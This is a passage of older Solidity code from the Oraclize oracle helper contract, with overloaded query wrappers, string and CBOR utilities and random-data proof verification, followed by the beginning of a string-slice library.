if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string self) internal pure returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function toSliceB32(bytes32 self) internal pure returns (slice ret) {
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
function copy(slice self) internal pure returns (slice) {
return slice(self._len, self._ptr);
}
function toString(slice self) internal pure returns (string) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function empty(slice self) internal pure returns (bool) {
return self._len == 0;
}
function compare(slice self, slice other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint256 mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function equals(slice self, slice other) internal pure returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice self, slice rune) internal pure returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
